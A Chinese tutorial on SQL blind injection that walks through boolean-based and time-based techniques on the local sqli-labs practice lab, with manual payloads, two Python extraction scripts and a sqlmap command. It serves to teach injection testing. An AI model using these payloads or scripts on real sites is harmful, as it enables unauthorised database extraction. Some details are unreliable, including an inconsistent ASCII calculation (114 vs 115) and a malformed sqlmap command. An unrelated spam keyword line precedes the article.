亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

深入理解SQL盲注

 更新時間:2024年01月30日 15:11:06   作者:未知百分百  
本文主要介紹了深入理解SQL盲注,主要介紹了布爾盲注和時間盲注,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧

前面和大家分享了SQL注入的介紹、聯(lián)合查詢和一些技巧、報錯注入,那么本篇我們和大家繼續(xù)學習SQL注入的相關知識和實驗,本篇是SQL注入中的盲注,那么現(xiàn)在我們開始ヾ(?°∇°?)??

什么是盲注?

在現(xiàn)代的web中對輸入的內(nèi)容會做很嚴格的限制,并且在默認情況下都是不會顯示錯誤信息,因此前面學習的聯(lián)合查詢和報錯注入都無法利用來注入了,因此我們需要使用"盲注"來進行SQL注入,所謂的盲注就是在服務器沒有錯誤信息會顯示完成注入攻擊,但是服務器不會顯示錯誤信息,我們就需要找到一個方法來驗證SQL語句是否被執(zhí)行

SQL盲注中常用的幾個函數(shù):

  • ascii(str): str是一個字符串參數(shù),返回值為其最左側字符的ascii碼。通過它,我們才能確定特定的字符。
  • substr(str,start,len): 這個函數(shù)是取str中從下標start開始的,長度為len的字符串。通常在盲注中用于取出單個字符,交給ascii函數(shù)來確定其具體的值。
  • length(str): 這個函數(shù)是用來獲取str的長度的。這樣我們才能知道需要通過substr取到哪個下標。
  • count([column]): 這個函數(shù)是用來統(tǒng)計記錄的數(shù)量的,其在盲注中,主要用于判斷符合條件的記錄的數(shù)量,并逐個破解。
  • if(condition,a,b): 當condition為true的時候,返回a,當condition為false的時候,返回b。

布爾盲注

這種類型的盲注依賴于頁面返回結果的單一狀態(tài),通常只有“正常”或“錯誤”。攻擊者會構造一個包含布爾表達式(如`IF`條件判斷)的SQL查詢,然后檢查頁面是否正確地返回了正確的結果。如果正確,那么可能意味著查詢成功訪問到了數(shù)據(jù)庫中的數(shù)據(jù)。

最常見的盲注的驗證方法是,構造簡單的條件語句,然后根據(jù)返回的頁面是否發(fā)生變化,來判斷SQL語句是否被執(zhí)行,我們可以利用sqli-labs靶場中的第8關來演示一下:

這里傳入的是and 1=1 是一個恒真的值,因此頁面是下面這樣的:

然后再傳入一個and 1=2 是一個恒假的值 ,因此頁面是下面這樣的

可以看到,這里就是兩個完全不同的兩個頁面,也就說明是存在SQL盲注的漏洞點的,這種利用注入 的方式也就是布爾盲注

下面我們就可以使用下面這三種方式來進行布爾盲注

手工注入

利用上面的那些函數(shù)我們可以通過不斷的變換范圍來觀察頁面的響應來不斷判斷,直到判斷到最后可以確定到一個值,比如我們可以先使用 length函數(shù) + 二分法來嘗試一下:

?id=1' and (select length(database())>1) and 1=1  --+ true
?id=1' and (select length(database())>10) and 1=1  --+  flase
?id=1' and (select length(database())>5) and 1=1  --+ true
?id=1' and (select length(database())>6) and 1=1  --+ true
?id=1' and (select length(database())>8) and 1=1  --+ flase

通過頁面的不同響應頁面來判斷數(shù)據(jù)庫的長度是否是我們所指定的范圍,最終可以得到數(shù)據(jù)庫的名稱的長度為7,得到了數(shù)據(jù)庫的長度后,我們就可以再利用ascii函數(shù)+substr函數(shù)來修改字符串的范圍,最終判斷數(shù)據(jù)庫的各個字符的ascii的值,最終就可以得到完整的數(shù)據(jù)庫名稱,比如:

?id=1' and ((select ascii(substr(database(),1,1)))>100) and 1=1 --+ true
?id=1' and ((select ascii(substr(database(),1,1)))>200) and 1=1 --+ flase
...
?id=1' and ((select ascii(substr(database(),1,1)))>114) and 1=1 --+ true 
?id=1' and ((select ascii(substr(database(),1,1)))>116) and 1=1 --+ false

根據(jù)不斷的變換范圍,最后得到了第一個字母的ascii碼大于113但是不大于115,因此,它的ascii碼就是114,對照ASCII碼表,得到第一個字母為‘s’。同樣的方法,我們可以變化substr()里面的第二個參數(shù)分別為2,3,4,5,6,7,最后可以獲得接下來的其他七個字母,最終得到“security”。

這里就成功的注入出了數(shù)據(jù)庫名稱,然后通過這個方法,我們可以首先通過information_schema庫中的tables表查看我們注入出的數(shù)據(jù)庫下的所有的表的數(shù)量,然后我們按照limit的方法選取某個表,通過length得到它的名字的長度,隨后就可以得到它的完整表名,同理通過columns表獲得某個表下的所有字段數(shù)量,并且獲得每個字段的名稱長度和具體名稱,最后就是查出指定表下的記錄數(shù)量,并且根據(jù)字段去獲取某條記錄的某個字段值的長度,隨后就是是獲得該值的內(nèi)容。

但是這樣的手工方法會非常的費時費力,我們可以使用python寫一個二分法查找的布爾盲注腳本來方便使用:

使用python腳本

注入出數(shù)據(jù)庫名

腳本:

import requests

url = "http://127.0.0.1/sqli-labs/Less-8/"

def inject_database(url):
	name = ''

	for i in range(1, 100):
		low = 32
		high = 128
		mid = (low + high) // 2
		while low < high:
			payload = "1' and ascii(substr((select database()),%d,1)) > %d-- " % (i, mid)
			params = {"id": payload}
			r = requests.get(url, params=params)
			if "You are in..........." in r.text:
				low = mid + 1
			else:
				high = mid
			mid = (low + high) // 2

		if mid == 32:
			break
		name = name + chr(mid)
		print(name)
inject_database(url)

后面的表名,列名,數(shù)據(jù),都可以使用類似的腳本注入出來,這里就不演示了

使用sqlmap

使用sqlmap進行時間盲注就非常簡單了,直接將url輸入到sqlmap中即可

sqlmap.py -u sqlmap -u  http://127.0.0.1/sqli-labs/Less-8/?id=1

時間盲注

這類盲注涉及使用具有延時功能的函數(shù),如`sleep()`,來探測服務器何時處理完請求。攻擊者可能會設置一個延時,觀察服務器是否按照預期的時間間隔回復。如果服務器超時未響應,這可能表明存在漏洞,并且可以進一步嘗試其他查詢。

手工注入

因為頁面不會回顯任何正確或者錯誤的信息,所以我們通過時間來判斷是否存在時間盲注根據(jù)我們的輸入,來延時請求數(shù)據(jù),觀察請求時間是否存在延長,如果存在就是存在時間盲注,這里會使用if和sleep函數(shù)來進行判斷

if的語法三元運算符函數(shù)

語法:IF(condition, value_if_true, value_if_false)

condition是一個條件表達式,如果條件成立,則返回value_if_true,否則返回value_if_false。

那么可以利用這一點來進行時間盲注

?id=1' and if(length(database())=1,sleep(5),1)--+ 延時
?id=1' and if(length(database())=10,sleep(5),1)--+ 正常
?id=1' and if(length(database())=7,sleep(5),1)--+  延時
?id=1' and if(length(database())=8,sleep(5),1)--+ 延正常

可以看到這里可以注入出數(shù)據(jù)庫的長度是7,然后就是使用ascii+sleep來注入出數(shù)據(jù)庫的名稱

?id=1'and if(ascii(substr((select database()),1,1))=100,sleep(5),1)--+ 延時
?id=1'and if(ascii(substr((select database()),1,1))=200,sleep(5),1)--+ 正常
...
?id=1'and if(ascii(substr((select database()),1,1))=114,sleep(5),1)--+ 延時
?id=1'and if(ascii(substr((select database()),1,1))=116,sleep(5),1)--+ 正常
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+ 延時

可以看到注入出了數(shù)據(jù)庫的第一個字符是ASCII的值為115,對應的是‘s’,然后就不斷變換,最終得到數(shù)據(jù)庫名為:security,那么現(xiàn)在數(shù)據(jù)庫已經(jīng)知道了,后面的表名、列名,數(shù)據(jù)都可以使用同樣的方法注入出來了

但是還是一樣這樣的手工方法會非常的費時費力,我們可以使用python寫一個二分法查找的時間盲注腳本來方便注入:

使用python腳本

注入出數(shù)據(jù)庫名

腳本:

import requests
import time

url = "http://127.0.0.1/sqli-labs/Less-8/"

def inject_database(url):
    name = ''
    for i in range(1, 100):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and (if(ascii(substr((select(database())),%d,1))>%d,sleep(1),0))and('1')=('1" % (i, mid)
            params = {"id": payload}
            start_time = time.time()  # 注入前的系統(tǒng)時間
            r = requests.get(url, params=params)
            end_time = time.time()  # 注入后的時間
            if end_time - start_time > 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)
inject_database(url)

后面的表名,列名,數(shù)據(jù),都可以使用類似的腳本注入出來,這里就不演示了

使用sqlmap

使用sqlmap進行時間盲注就非常簡單了,直接將url輸入到sqlmap中即可

sqlmap.py -u sqlmap -u  http://127.0.0.1/sqli-labs/Less-8/?id=1

到此,SQL盲注的布爾盲注和時間盲注就全部演示完畢了,更多相關SQL盲注內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!

相關文章

最新評論